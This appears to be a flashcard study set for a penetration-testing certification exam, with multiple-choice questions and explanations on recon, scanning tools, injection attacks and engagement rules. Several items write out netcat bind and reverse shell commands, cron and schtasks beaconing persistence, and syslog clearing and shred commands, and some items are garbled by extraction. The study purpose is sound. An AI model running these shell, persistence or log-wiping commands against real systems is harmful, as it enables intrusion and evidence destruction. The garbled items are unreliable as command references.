2. Dion Training Study Set

Study online at https://quizlet.com/_fi2w1g

Alex is conducting a penetration test of Dion Training's network. They just successfully exploited a host on the network. Which of the following command should Alex utilize to establish persistence on the machine by creating a bind shell using netcat? A. nc -p 52154 -e /bin/sh B. nc -p 52154 /bin/sh C. nc -lp 52154 -e /bin/sh D. nc -lvp 52154 /bin/sh	A bind shell is a shell that binds to a specific port on the target host to listen for incoming connections. This is often created using Netcat. Netcat (nc) is an open-source networking utility for debugging and investigating the network, and that can be used to create TCP/UDP connections and investigate them. It is extremely popular with penetration testers and attackers alike due to its multiple use cases. You should be familiar with setting up a listener and establishing a connection to the listener using netcat. Using the -lp option sets up a listener on the machine using the port specified (52154 in this scenario). To start the connection to the listener, you would enter "nc <IPADDR> <PORT> -e <SHELL>", substituting the details for each parameter in each set of brackets.
Dion Training has hired you to assess its voucher fulfillment REST API on its e-commerce website. Which of the following support resources would be MOST helpful when conducting a known-environment assessment of the API? A. WSDL document B. SDK documentation C. Swagger document D. XSD file	A swagger document is the REST API equivalent of a WSDL document that defines a SOAP-based web service. Since Dion Training's voucher fulfillment system uses a REST API, you should request a copy of the swagger document to conduct a more efficient assessment of their web application since this is a known-environment assessment. SDK documentation is used to document the software development kit and is not relevant to the REST API being tested. An XML Schema Definition (XSD) is a recommendation that enables developers to define the structure and data types for XML documents.
A disgruntled employee executes an on-path attack on the company's network. Layer 2 traffic destined for the gateway is now being redirected to the employee's computer. What type of attack is this an example of? A. ARP spoofing B. Reflective DNS C. Evil twin D. IP spoofing	ARP spoofing (also known as ARP poisoning) is a type of attack in which a malicious actor sends falsified ARP (Address Resolution Protocol) messages over a local area network. This results in the linking of an attacker's MAC address with the IP address of a legitimate computer, server, or gateway on the network. A reflective DNS attack is a two-step attack used in DDoS attacks. The attacker sends a large number of requests to one or more legitimate DNS servers while using a spoofed source IP of the targeted victim. The DNS server then replies to the spoofed IP and unknowingly floods the targeted victim with responses to DNS requests that it never sent. An evil twin is a rogue wireless access point that masquerades as a legitimate Wi-Fi access point so that an attacker can gather personal or corporate information without the user's knowledge. IP spoofing is the creation of Internet Protocol (IP) packets that have a modified source address to either hide the identity of the sender, impersonate another computer system, or both.
You are conducting a penetration test against the Dion Training test server. You have just run Nikto against the server and received the results below: The anti-clickjacking X-FraME-options is not present Based on the results above, which of the following exploits should develop for this engagement? A. Privilege escalation B. SQL injection C. Clickjacking D. Arbitrary code execution	The X-Frame-Options in the HTTP response header can be used to indicate whether or not a browser should be allowed to open a page in frame or iframe. If the X-Frame-Options header is not present, then a clickjacking exploit could be used against the web server's users. The only two vulnerabilities shown in the Nikto results are the clickjacking vulnerability and the MIME Type security issue.
After issuing the command "telnet diontraining.com 80" and connecting to the server, what command conducts the banner grab? A. HEAD / HTTP/2.0 B. HEAD / HTTP/1.1 C. PUT / HTTP/2.0 D. PUT / HTTP/1.1	To conduct a banner grab using telnet, you first must connect to the server using "telnet webserver 80". Once the connection establishes, you will receive a blank prompt, and you then issue the command "HEAD / HTTP/1.1". It requests the document header from the server and provides information such as the server software version and the server's operating system.

Which of the following penetration testing methodologies or frameworks was developed by business professionals as a best practice guide for conducting penetration tests? Open Source Security Testing A. Methodology Manual (OSSTMM) B. Penetration Testing Execution Standard (PTES) C. Information Systems Security Assessment Framework (ISSAF) D. OWASP Testing Guide (OTG)	The Penetration Testing Execution Standard (PTES) was developed by business professionals as a best practice guide for conducting penetration testing. The PTES contains seven main sections that are used to provide a comprehensive overview of the proper structure of a complete penetration test. The Open Web Application Security Project (OWASP) is an organization aimed at increasing awareness of web security and provides a framework for testing during each phase of the software development process. The OWASP Testing Guide (OTG) provides different steps for the testing process and outlines the importance of assessing the entire organization, including the people, processes, and technology, during a penetration test. The Open Source Security Testing Methodology Manual (OSSTMM) was developed by the Institute for Security and Open Methodologies (ISECOM) and it outlines every area of an organization that needs testing and how to conduct the relevant tests. The Information Systems Security Assessment Framework (ISSAF) is an open-source resource available to cybersecurity professionals. The ISSAF is comprised of documents that relate to penetration testing, such as guidelines on business continuity and disaster recovery along with legal and regulatory compliance.
Sarah is conducting a penetration test against Dion Training's Linux-based network. This engagement aims to simulate an advanced persistent threat and demonstrate persistence for 30 days without their system administrators identifying the intrusion. Which of the following commands should Sarah use to run a script that beacons back to her computer every 20 minutes? A. schtasks /create /tn beacon /tr C:\temp\beacon.bat /sc MINUTE /mo 20 /ru SYSTEM B. (crontab -l ; echo "***/20****/tmp/beacon.sh")| crontab - C. (crontab -l ; echo "**/20*****/tmp/beacon.sh")| crontab - schtasks /create /tn beacon/tr D. C:\temp\beacon.bat /sc MONTHLY /mo 20 /ru SYSTEM	A scheduled task or scheduled job is an instance of execution, like initiating a process or running a script, that the system performs on a set schedule. Once the task executes, it can prompt the user for interaction or run silently in the background; it all depends on what the task is set up to do. Scheduled tasks in Linux use the crontab command. The correct answer for this persistence is to enter the command "(crontab -l ; echo "*/20****/tmp/beacon.sh")| crontab -" that will run the script at "/tmp/beacon.sh every 20 minutes as the SYSTEM level user. The other variant of crontab is incorrect because it would run every 20 hours, not 20 minutes. The schtasks options are used in Windows, not in Linux.
You have been asked to scan your company's website using the OWASP ZAP tool. When you perform the scan, you received the following warning:"The AUTOCOMPLETE output is not disabled in HTML FORM/INPUT containing password type input. Passwords may be stored in browsers and retrieved."You begin to investigate further by reviewing a portion of the HTML code from the website that is listed below: Based on your analysis, which of the following actions should you take? A. You recommend that the system administrator pushes out a GPO update to reconfigure the web browsers security settings B. You tell the developer to review their code and implement a bug/code fix C. You recommend that the system administrator disables SSL on the server and implements TLS instead D. This is a false positive and you should implement a scanner exception to ensure you don't receive this again during your next scan	Since your company owns the website, you can require the developer to implement a bug/code fix to prevent the form from allowing the AUTOCOMPLETE function to work on this website. The code change to perform is quite simple, simply adding "autocomplete=off" to the code's first line. The resulting code would be <form action="authenticate.php" autocomplete="off">.
Which of the following tools is considered a web application scanner? A. Nessus B. Qualys C. OpenVAS D. ZAP	OWASP Zed Attack Proxy (ZAP) is the world's most widely used web application scanner. It is free, open-source, and provided by the Open Web Application Security Project (OWASP). Nessus, Qualys, and OpenVAS are all classified as infrastructure vulnerability scanners.
Which of the following would trigger the penetration test to stop and contact the system owners during an engagement? A. A production server is unresponsive after attempting exploitation	The penetration testing team should have a direct communication path with the system owners or their trusted agents during an engagement. If the team discovers any security breaches, current hacking activity, extremely critical findings on a production server,

B. Discovery of encrypted PII personal data being stored on the system C. A production server is unresponsive to ping requests D. Discovery of two servers not documented in the architecture diagrams	or a production server becomes unresponsive during exploitation, then the team should stop what they are doing and contract their trusted point of contact within the organization to get further guidance.
Which of the following tools should a penetration tester use to debug a Windows executable in Kali Linux? A. truffleHog B. Ollydbg C. WPScan D. Scout Suite	OllyDbg is a debugger included with Kali Linux that analyzes binary code found in 32-bit Windows applications. The truffleHog tool is used to automatically crawl through a repository looking for accidental commits of secrets within GitHub. WPScan (WordPress Security Scanner) is a tool that automatically gathers data about a WordPress site and compares its findings of plugins against a database of known vulnerabilities. ScoutSuite is an open-source tool written in Python that can be used to audit instances and policies created on multi-cloud platforms, such as AWS, Microsoft Azure, and Google Cloud.
Which of the following tools is used by a penetration tester to conduct open-source intelligence (OSINT)? A. Nessus B. Maltego C. AirCrack-NG D. Empire	Maltego is an OSINT tool that is used to gather information from public resources. It has a graphical user interface (GUI) that visualizes the information gathered to help a penetration tester make logical connections between the different data sets collected. Nessus is a popular vulnerability scanner with a module dedicated to reporting that can be helpful during the presentation of your findings in a penetration test. AirCrack-NG is a tool within the Aircrack- ng suite that injects frames to generate traffic while attempting to crack an access point's WPA-PSK keys. Empire is a command and control framework focused on PowerShell and contains many post-exploitation tools.
A security analyst is conducting a log review of the company's web server and found two suspicious entries: "GET /logon.php?user=test'..." The analyst contacts the web developer and asks for a copy of the source code to the logon.php script. The script is as follows: if (MySQL($result) !=0) echo 'Authentication granted!' Based on source code analysis, which type of vulnerability is this web server vulnerable to? A. SQL injection B. Directory traversal C. LDAP injection D. Command injection	Based on the log entries, it appears the attack was successful in conducting a SQL injection. Notice the escape character (') used in the log. A connection to the MySQL database is being used in the script, which could be exploited since no input validation is being performed. Command injection is an attack in which the goal is to execute arbitrary commands on the host operating system via a vulnerable application. SQL injection is a specific type of command injection. LDAP injection is a code injection technique used to exploit web applications that could reveal sensitive user information or modify information represented in the LDAP (Lightweight Directory Access Protocol) data stores. Directory traversal or Path Traversal is an HTTP attack that allows attackers to access restricted directories and execute commands outside of the web server's root directory.
You are conducting banner grabbing against a target server during reconnaissance and enter the following command: echo -en... "get 80 | grep Server Which of the following responses would you expect to receive from this command? A. Server: DionTraining ESMTP Postfix (Ubuntu) B. Server: Microsoft-IIS/8.5 C. Server: vsFTPd-3.0.3 D. Server: SSH-2.0-OpenSSH 7.4	The GET command is being used in this scenario to elicit the webserver type of version to be displayed. Since the banner grab was conducted against a domain name (diontraining.com) over port 80, you should expect to receive a response indicating the webserver type and version. In this case, the only response that is a web server is the Microsoft Internet Information Services version 8.5.
You are planning to exploit a network-based vulnerability against a Windows server. As part of your planning, you use the auxiliary scanner in Metasploit against the network and receive the following results: community string: 'public' info... Based on the output above, which of the following exploits are you preparing to use? A. SMTP exploit B. SNMP exploit C. FTP exploit D. SMB exploit	SNMP provides a lot of information about different target devices on the network. Based on the output shown, you should identify that this is an SNMP scan based on the "community string" keyword. From your Network+ and Security+ studies, you should remember that SNMP uses community strings as a basic authentication mechanism before allowing you to access a network device's statistics. In this scan, two devices are found on this network with default public and private community strings. This makes these devices vulnerable to an SNMP attack for further exploitation.

You are analyzing the logs of a web server. Consider the following log sample: ELT(6810=6810,1)) Based on the logs above, which of the following type of attacks was conducted against this server? A. Directory traversal B. XML injection C. SQL injection D. Cross-site scripting	SQL injection is a code injection technique that is used to attack data-driven applications. SQL injections are conducted by inserting malicious SQL statements into an entry field for execution. For example, an attacker may try to dump the contents of the database by using this technique. A common SQL injection technique is to insert an always true statement, such as 1 == 1, or in this example, 6810 = = 6810. In this case, the SQL injection is evidenced by the SQL statements being sent to the web application hosted by WordPress. XML Injection is an attack technique used to manipulate or compromise an XML application or service's logic. The injection of unintended XML content and/or structures into an XML message can alter the application's intended logic. Cross-Site Scripting (XSS) attacks are a type of injection in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in a browser side script, to a different end-user. A directory traversal attack aims to access files and directories that are stored outside the webroot folder. By manipulating variables or URLs that reference files with "dot-dot-slash (../)" sequences and its variations or using absolute file paths, it may be possible to access arbitrary files and directories stored on the file system, including application source code or configuration and critical system files.

You have been asked to evaluate the following code snippet:
$my_var = 1
if ($my_var -eq 1){
Write-Host "Correct."
}
Else{
Write-Host "Incorrect."
}
Which language is the code snippet written in?
A. Bash
B. Ruby
C. PowerShell
D. Python
	You should be able to identify a script or programming language based on a code snippet for the exam. PowerShell uses keywords like Write-Host to output text to the display. Python uses keywords like print to output text to the display. Bash uses keywords like echo to output text to the display. You are not expected to be able to write programs or scripts for the exam, but you must be able to read, analyze, and understand their basic functionality.

Which of the following tools should a penetration tester use to brute-force authentication on ftp, ssh, smb, vnc, or zip archive passwords? A. WinDbg B. Patator C. CrackMapExec D. Gobuster	WinDbg is a free debugging tool created and distributed by Microsoft for Windows operating systems. Gobuster is a tool that can discover subdomains, directories, and files by brute-forcing from a list of common names. CrackMapExec is a post-exploitation tool to identify vulnerabilities in active directory environments. Patator is a multi-purpose brute-force tool that supports several different methods, including ftp, ssh, smb, vnc, and zip passwords.
You have been asked to write a new security policy to reduce the risk of employees working together to steal information from the Dion Training corporate network. Which of the following policies should you create to counter this threat? A. Mandatory vacation policy B. Least privilege policy C. Privacy policy D. Acceptable use policy	A mandatory vacation policy requires that all users take time away from work to enjoy a break from their day to day routine of their jobs. But, there is a major side benefit to mandatory vacations regarding your company's security posture. It will require the company to have another employee fill in for the vacationing employee's normal roles and responsibilities by requiring mandatory vacations. The employee who is filling in might come across fraud, abuse, or theft that the vacationing employee is a part of. The concept of least privilege may not stop this theft from occurring since two employees could work together to steal information that they have access to as part of their job. Also, acceptable use outlines the types of activities allowed and not allowed; it won't prevent theft from occurring. A privacy policy discusses how information should be properly stored and secured, but this won't stop an employee from stealing information or detecting the stolen information.
Tamera just purchased a Wi-Fi-enabled Nest Thermostat for her home. She has hired you to install it, but she is worried about	

a hacker breaking into the thermostat since it is an IoT device. Which of the following is the BEST thing to do to mitigate Tamera's security concerns? (Select TWO) A. Configure the thermostat to use the WEP encryption standard for additional confidentiality B. Configure the thermostat to connect to the wireless network using WPA2 encryption and a long, strong password C. Upgrade the firmware of the wireless access point to the latest version to improve the security of the network D. Configure the thermostat to use a segregated part of the network by installing it into a screened subnet E. Enable two-factor authentication on the device's website (if supported by the company) F. Disable wireless connectivity to the thermostat to ensure a hacker cannot access it	The BEST options are to configure the thermostat to use the WPA2 encryption standard (if supported) and place any Internet of Things (IoT) devices into a DMZ/screened subnet to segregate them from the production network. While enabling two-factor authentication on the device's website is a good practice, it will not increase the IoT device's security. While disabling the wireless connectivity to the thermostat will ensure it cannot be hacked, it also will make the device ineffective for the customer's normal operational needs. WEP is considered a weak encryption scheme, so you should use WPA2 over WEP whenever possible. Finally, upgrading the wireless access point's firmware is good for security, but it isn't specific to the IoT device's security. Therefore, it is not one of the two BEST options.
Sarah is conducting a penetration test against Dion Training's Windows-based network. This engagement aims to simulate an advanced persistent threat and demonstrate persistence for 30 days without their system administrators identifying the intrusion. Which of the following commands should Sarah use to run a script that beacons back to her computer every 20 minutes? A. schtasks /create /tn beacon /tr C:\temp\beacon.bat /sc MINUTE /mo 20 /ru SYSTEM B. (crontab -l ; echo "**/20***** /tmp/beacon")| crontab - C. schtasks /create /tn beacon /tr /tmp/beacon /sc MINUTE /mo 20 /ru SYSTEM D. (crontab -l ; echo "***/20**** /tmp/beacon")| crontab -	A scheduled task or scheduled job is an instance of execution, like initiating a process or running a script, that the system performs on a set schedule. Once the task executes, it can prompt the user for interaction or run silently in the background; it all depends on what the task is set up to do. Scheduled tasks in Windows use the schtasks command. The correct answer for this persistence is to enter the command "schtasks /create /tn beacon /tr C:\temp\beacon.bat /sc MINUTE /mo 20 /ru SYSTEM" that will create a task called "beacon" that runs the script at "C:\temp\beacon.bat every 20 minutes as the SYSTEM level user. The other variant of schtasks is incorrect because it used a Linux-based file directory structure to reference the script location and would fail to run in Windows. The crontab options are used in Linux, not in Windows.
Which of the following is a characteristic of a Blind SQL Injection vulnerability? A. The administrator of the affected application does not see an error message during a successful attack B. The attacker cannot see any of the display errors with information about the injection during a blind attack C. The administrator of the vulnerable application cannot see the request to the webserver D. The application properly filters the user input but it is still vulnerable to code injection in a blind attack	Blind SQL injection is a type of SQL injection attack that asks the database true or false questions and determines the answer based on the application's response. This attack is often used when the web application is configured to show generic error messages but has not mitigated the code that is vulnerable to SQL injection.
You are working on a Hack the Box challenge on a Linux server owned by Dion Training. You have already gained initial access to the server and successfully elevated your privileges to root. As part of the challenge, you must find the date and time that a keyword was entered into the Linux server's logs. Which of the following commands would successfully look through all the log files in "/var/log" for any references to "Terri" or "terri" on this Linux server? A> find /var/log/ -name *.log -exec grep -H -e "'Terri' OR 'terri'" {} \; 2>/dev/null B. find /var/log/ -exec grep -H -e "'terri' OR 'Terri'" {} \; 2> /dev/null C. find /var/log/ -exec grep -H -e "[Tt]erri" {} \; 2> /dev/null D. find /var/log/ -name "*.log" -exec grep -H -e "[Tt]erri" {} \; 2>/dev/null	The find command will by default look at every single file starting in a designated subdirectory (in this case /var/log) and will execute whatever command is specified between "-exec" and "\;" with the 'found' file being substituted for the "{}." Executing grep on every file with a parameter of -H will ensure the filename with the full path is displayed. The -e option in grep will use a REGEX expression. "[Tt]erri" is the correct REGEX expression to look for "Terri" or "terri." As many files in the /var/log directory do not end with the extension ".log," attempting to filter for just files with a .log extension will overly limit the results that are returned to you. "2> /dev/null" is needed to filter out any errors "find" might generate (such as attempting to open a directory). Now, let's talk about tackling this on test day because you don't need to have all of these things memorized to answer this question. Consider the four options presented to you and determine what is different in each one. You will notice every option starts with "fin /var/log" and ends with "{} \; 2>/dev/null", so you should mentally ignore that in each of the answers and focus on what is different. We also see that all the answers have "grep -H -e," so we aren't asked to be an expert on grep or its flags either, so mentally ignore that. This leaves us with two sets of differences. One set has "-name "*.log" versus "-exec." The second set of differences is "'Terri' OR 'terri'" or "[Tt]erri." From this, you can determine which regular express is correct ([Tt]erri)

	and eliminate 2 of the four choices. Now, you need to pick between the name and exec flags. If you know anything about Linux log files, you should remember that they usually don't end in .log as most Windows log files do, so we would pick exec if we had to guess.
What type of technique does exploit chaining often implement? A. Setting a user's session identifier (SID) to an explicit known value B. Adding multiple parameters with the same name in HTTP requests C. Injecting parameters into a connection string using semicolons as a separator D. Inserting malicious JavaScript code into input parameters	Connection String Parameter Pollution (CSPP) exploits specifically the semicolon-delimited database connection strings that are constructed dynamically based on the user inputs from web applications. CSPP, if carried out successfully, can be used to steal user identities and hijack web credentials. CSPP is a high-risk attack because of the relative ease with which it can be carried out (low access complexity) and the potential results it can have (high impact). Exploit chaining involves multiple commands and exploits being conducted in a series to fully attack or exploit a given target.
Dion Training has hired you to assess its voucher fulfillment web application on its e-commerce website. The web application relies on a SOAP-based web service. Which of the following support resources would be MOST helpful in conducting this known-environment assessment? A. SDK documentation B. Swagger document C. WSDL document D. XSD file	The WSDL (Web Services Description Language) document is an XML formatted document defining a web service's capabilities and how to access it. Since this scenario states that the company relies on a SOAP-based web service, the assessment's best support resource would be a copy of their WSDL document. A swagger document is the REST API equivalent of a WSDL document that defines a SOAP-based web service. SDK documentation is used to document the software development kit and is not relevant to the SOAP-based web service being tested. An XML Schema Definition (XSD) is a recommendation that enables developers to define the structure and data types for XML documents.
You are currently conducting passive reconnaissance in preparation for an upcoming penetration test against Dion Training. You are reviewing the DNS records for the company and are trying to identify which third-party hosted services they may be using. Which of the following DNS records should you analyze to identify any human-readable records, domain verifications, and domain authentications A. TXT B. SRV C. MX D. NS	Text (TXT) records are used to provide information about a resource such as a server, network, or service human-readable form. They often contain domain verification and domain authentications for third-party tools that can send information on behalf of a domain name. Mail Exchange (MX) records are used to provide the mail server that accepts email messages for a particular domain. Nameserver (NS) records are used to list the authoritative DNS server for a particular domain. Service (SRV) records are used to provide host and port information on services such as voice over IP (VoIP) and instant messaging (IM) applications.
You are currently conducting passive reconnaissance in preparation for an upcoming penetration test against Dion Training. You want to identify any web pages that contain the term "password" hosted by diontraining.com. Which of the following Google hacking queries should you use? A. password inurl:diontraining.com B. password inanchor:diontraining.com C. password link:diontraining.com D. password site:diontraining.com	The site modifier is used to search only the specified website for results that contain the search term. For example, password site:diontraining.com would return only results for the word password on pages located on the Dion Training website. The inurl modifier is used to search for any pages whose URLs include the term specified and have the search term anywhere on the page. For example, password inurl:diontraining.com would return only page results whose URLs include the text "diontraining.com" and have the text "password" somewhere on the page. The link modifier is used to search for any pages that link to the website provided and have the search term anywhere on the page. For example, password link:diontraining.com would return only page results that link to Dion Training's website and have the text "password" anywhere on the page. The inanchor modifier is used to search for any pages whose anchor text includes the specified term and has the search term provider somewhere on the page. For example, password inanchor:diontraining.com would return only page results that contain diontraining.com in the anchor text and have the search term "password" anywhere on the page.
Which of the following is the leading cause for cross-site scripting, SQL injection, and XML injection attacks?	A primary vector for attacking applications is to exploit faulty input validation. The input could include user data entered into a form or URL, passed by another application or link. This is heavily exploited by cross-site scripting, SQL injection, and XML injection attacks. Directory traversal is the practice of accessing a file from a location that the user is unauthorized to access. The attacker

A. Directory traversals B. Faulty input validation C. File inclusions D. Output encoding	does this by ordering an application to backtrack through the directory path to read or execute a file in a parent directory. In a file inclusion attack, the attacker adds a file to a web app or website's running process. The file is either constructed to be malicious or manipulated to serve the attacker's malicious purposes. Cross-site scripting (XSS) is one of the most powerful input validation exploits. XSS involves a trusted site, a client browsing the trusted site, and the attacker's site.
You have been contracted to conduct a compliance-based assessment for an organization. What is the MOST important thing for you to understand? A. The organization's policies B. The organization's tolerance to impact C. The organization's industry D. The organization's architectural diagrams	The organization's industry is the most important thing to consider and understand when conducting a compliance-based assessment. Compliance-based assessments are government or industry-required assessments based on a particular compliance framework. For example, if you are conducting an assessment of a credit card processor, then PCI-DSS would be important to consider. If you are assessing a federal government IT system, then you should consider FEDRAMP. If you are conducting an assessment of a military or military contractor network, you should consider the DISA STIG for those systems.
You are working as part of a DevSecOps team at Dion Training on a new practice exam web application. Which of the following tools should you utilize to scan the web application's database to determine if it is vulnerable to injection flaws? A. theHarvester B. SQLmap C. Dirbuster D. Kismet	SQLmap is an open-source database scanner that searches for and exploits SQL injection flaws. This tool is included by default within Kali Linux. Dirbuster, Kismet, and theHarvester are not tools for conducting SQL vulnerability scans. Dirbuster is a brute force tool included with Kali Linux that exposes directories and file names on web and application servers. Kismet is an 802.11 Layer 2 wireless network detector, sniffer, and intrusion detection system included with Kali Linux that monitors wireless activity, identifies device types, and captures raw packets for later password cracking. theHarvester is an open-source intelligence tool (OSINT) that gathers information such as email addresses, subdomains, hostnames, open ports, and banners from publicly available sources.
Which of the following commands should be run on an attacker's system to connect to a target with a bind shell running? A. nc 192.168.1.53 31337 -e /bin/sh B. nc 192.168.1.53 31337 C. nc -lp 31337 -e /bin/sh D. nc -lp 31337	A bind shell is established when a victim system "binds" its shell to a local network port. To achieve this using netcat, you should execute the command "nc -lp 31337 -e /bin/sh" on the victim machine. This sets up a listener on the machine on port 31337 and will execute the /bin/sh when another machine connects to its listener on port 31337. The attacker would enter the command "nc 192.168.1.53 31337" to connect to the victim's bind shell. A reverse shell is established when the target machine communicates with an attack machine listening on a specific port. To set up a listener on the attack machine, you would use the command "nc -lp 31337" on it. To connect to the attacking machine from the victim machine, you would enter the command "nc 192.168.1.53 31337 -e /bin/sh" on it.
Which attack utilizes a wireless access point made to look as if it belongs to the network by mimicking the corporate network's SSID to eavesdrop on the wireless traffic? A. Evil twin B. Shoulder surfing C. Rogue access point D. WEP attack	An evil twin is meant to mimic a legitimate hotspot provided by a nearby business, such as a coffee shop that provides free Wi-Fi access to its patrons. An evil twin is a type of rogue wireless access point that masquerades as a legitimate Wi-Fi access point so that an attacker can gather personal or corporate information without the user's knowledge. This type of attack may be used to steal the passwords of unsuspecting users by monitoring their connections or phishing, which involves setting up a fraudulent website and luring people there. A rogue access point is an access point installed on a network without the network owner's permission. For example, if an employee connected a wireless access point to a wall jack in their office so that they can use their smartphone or tablet, this would be considered a rogue access point. Therefore, an evil twin is the better answer to this question since it is specifically being made to look like it belongs on the network by mimicking the SSID of the corporate network. A WEP attack is a brute force password attack conducted against a

	wireless network that relies on WEP for its encryption and security. Shoulder surfing is a type of social engineering technique used to obtain information such as personal identification numbers, passwords, and other confidential data by looking over the victim's shoulder.
Matt is creating a scoping worksheet for an upcoming penetration test for his organization. Which of the following techniques is NOT usually included in a penetration test? A. Reverse engineering B. Denial-of-service attacks C. Social engineering D. Physical penetration attempts	A denial-of-service or DoS attack isn't usually included as part of a penetration test. This type of attack contains too much risk for an organization to allow it to be included in an assessment's scope. Social engineering, physical penetration attempts, and reverse engineering are all commonly included in a penetration test's scope. A penetration tester must limit the invasiveness of their assessment to the specific scope of the penetration test.
Which tool would allow you to identify the target's operating system by analyzing the TCP/IP stack responses? A. OllyDbg B. nmap C. dd D. scanf	The nmap tool can identify the target's operating system by analyzing the TCP/IP stack responses. Identification of the operating system relies on differences in how operating systems and operating system versions respond to a query, what TCP options they support, what order they send the packets in, and other details that, when combined, can provide a unique fingerprint for a given TCP stack. The dd tool is used to create disk images. The scanf function is a vulnerable input function in the C programming language. OllyDbg is a Windows-based debugger used for binary code analysis.
A coworker is conducting open-source intelligence gathering for an upcoming penetration test against Dion Training. You look over their shoulder and see them enter the following URL, https://www.google.com/search?q=password+filetype%3Axls+site%3Adiontraining.com&pws=0&filter=p. Which of the following is true about the results of this search? (SELECT THREE) A. Returns only Microsoft Excel spreadsheets B. All search filters are deactivated C. Find sites related to diontraining.com D. Excludes Microsoft Excel spreadsheets E. Personalization is turned off F. Returns only files hosted at diontraining.com	The above example searches for files with the name "password" in them (q=password) and (+) have a filetype equal to xls (filetype%3Axls, %3A is the hex-code for ':') and (+) limits the results to files hosted on diontraining.com (site%3Adiontraining.com) and (&) disables personalization (pws=0) and (&) deactivates the directory filtering function (filter=p). If you wanted to exclude Microsoft Excel spreadsheets, this would be done by typing -filetype%3Axls as part of the search query. To find related websites or pages, you would include the "related:" term to the query. To deactivate all filters from the search, the "filter=0" should be used. To deactivate the directory filtering function, the "filter=p" is used.
A software company is meeting with a car manufacturer to finalize discussions. In the signed document, the software company will provide the latest versions of its mapping application suite for the car manufacturer's next generation of cars. In return, the car manufacturer will provide three specific vehicle analytics to the software company to enhance the software company's mapping application suite. The software company can offer its enhanced mapping application to other car manufacturers but must pay the car manufacturer a royalty. Which of the following BEST describes the document used in this scenario? A. MOU B. SLA C. MSA D> AUP	MOU is a memorandum of understanding. This is the most accurate description based on the choices given. A memorandum of understanding is a document that describes the broad outlines of an agreement that two or more parties have reached. MOUs communicate the mutually accepted expectations of all of the parties involved in a negotiation. While not legally binding, the MOU signals that a binding contract is imminent. A service level agreement (SLA) is a commitment between a service provider and a client for particular aspects of the service, such as quality, availability, or responsibilities. An acceptable use policy (AUP) is a set of rules applied by the owner, creator, or administrator of a network, website, or service, that restrict how the network, website, or system may be used and sets guidelines as to how it should be used. A master service agreement (MSA) is a contract reached between parties, in which the parties agree to most of the terms that will govern future transactions or future agreements.
	The \b delimiter indicates that we are looking for whole words for the complete string. The REGEX is made up of four identical repeating strings, (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.". For now, let us refer to these octets, such as the ones used in internet protocol version 4 addresses. Each octet will allow the combination of 25[0-5] OR (|) 2[0-4][9-] OR numbers 00-99 is preceded by (?) a 0 or 1, or just a single number followed by a ".". Since the period is treated as a special character in a REGEX operator, the escape character (\) is required to enable the symbol to act as a dot or period in the output. This sequence repeats four times, allowing

Consider the following REGEX search string: Which of the following strings would NOT be included in the output of this search? A. 37.259.129.207 B. 1.2.3.4 C. 205.255.255.001 D. 001.02.3.40	for all variations of normal IP addresses to be entered for values 0-255. Since 259 is outside the range of 255, this is rejected. More specifically, character strings starting with 25 must end with a number between 0 and 5 (25[0-5]). Therefore, 259 would be rejected. Now, on exam day, if you received a question like this, you can try to figure out the pattern as explained above, or you can take the logical shortcut. The logical shortcut is to look at the answer first and see that they all look like IP addresses. Remember, grep and REGEX are used by a cybersecurity analyst to search logs for indicators of compromise (like an IP address), so don't be afraid to take a logical guess if you need to conserve time during your exam. So, which one isn't a valid IP address? Clearly, 37.259.129.107 is not a valid IP address, so if you had to guess as to what wouldn't be an output of this complex-looking command, you should guess that one!
A recent threat has been announced in the cybersecurity world, stating a critical vulnerability in a particular operating system's kernel. Unfortunately, your company has not maintained a current asset inventory, so you are unsure of how many of your servers may be affected. What should you do to find all of the affected servers within your network? A. Conduct a service discovery scan on the network B. Manually review the syslog server's logs C. Conduct an OS fingerprinting scan across the network D. Conduct a packet capture of data traversing the server network	By utilizing operating system fingerprinting using a tool like nmap, you can identify the servers running each version of an operating system. This will give you an accurate list of the possibly affected servers. Once you have this list, you can focus your attention on just those servers that need further inspection and scanning. Manually reviewing the Syslog server's log would take too long, and would not find servers that don't send their logs to the Syslog server. Conducting a packet capture would only allow you to find the server actively transmitting data during the period of time you are capturing. Conducting a service discovery scan would not identify which servers are running which operating systems effectively. For example, if you see that the Apache web service is running on port 80, it doesn't indicate running Linux or Windows as the underlying server.
During a penetration test, you identify a critical vulnerability in a client's production Linux-based Apache webserver. Which of the following should you do NEXT? A. Exploit the vulnerability, escalate privileges, and patch the vulnerability as root B. Pause the engagement and notify the client using established communication paths C. Enter "sudo apache2 stop" to prevent an attacker from exploiting the server D. Complete the engagement and notify the client in the executive summary of the report	The penetration testing team should have a direct communication path with the system owners or their trusted agents during an engagement. If the team discovers any security breaches, current hacking activity, extremely critical findings on a production server, or a production server becomes unresponsive during exploitation, then the team should stop what they are doing and contract their trusted point of contact within the organization to get further guidance. The trusted agents and communication paths should be determined when planning the engagement.
Windows file servers commonly hold sensitive files, databases, passwords, and more. What common vulnerability is usually used against a Windows file server to expose sensitive files, databases, and passwords? A. Missing patches B. CRLF injection C. Cross-site scripting D. SQL injection	Missing patches are the most common vulnerability found on both Windows and Linux systems. When a security patch is released, attackers begin to reverse engineer the security patch to exploit the vulnerability. If your servers are not patched against the vulnerability, they can become victims of the exploit, and the server's data can become compromised. Cross-Site Scripting (XSS) attacks are a type of injection in which malicious scripts are injected into otherwise benign and trusted websites. Cross-site scripting focuses on exploiting a user's workstation, not a server. CRLF injection is a software application coding vulnerability that occurs when an attacker injects a CRLF character sequence where it is not expected. SQL injection is the placement of malicious code in SQL statements via web page input. SQL is commonly used against databases, but they are not useful when attacking file servers.
BigCorpData recently had suffered a massive data breach caused by a hacker. You have been hired as an expert to assist in their incident response and recovery. You look through the shell history on a Linux server and see the following entry: # echo " " > /var/log/syslog. Which of the following techniques did the attacker use to attempt to cover their tracks?	The attacker issued attempted to overwrite the /var/log/syslog file. If this command were successful, they would have overwritten all of the log's contents with a single space character. If the server writes its logs to a centralized Syslog server, the original logs would still be available for review. Additionally, this method does not securely erase the file, and it could be restored from a

A. Changing or forging syslog entries B. Erasing the syslog file securely C. Clearing the syslog file D. Clearing specific syslog entries	backup or even from the hard drive using forensic techniques. If the attacker wanted to erase the file securely, they should have used the "shred -zu /var/log/syslog" command. This would overwrite the area of the hard drive that contained the file with zeros for increased security.
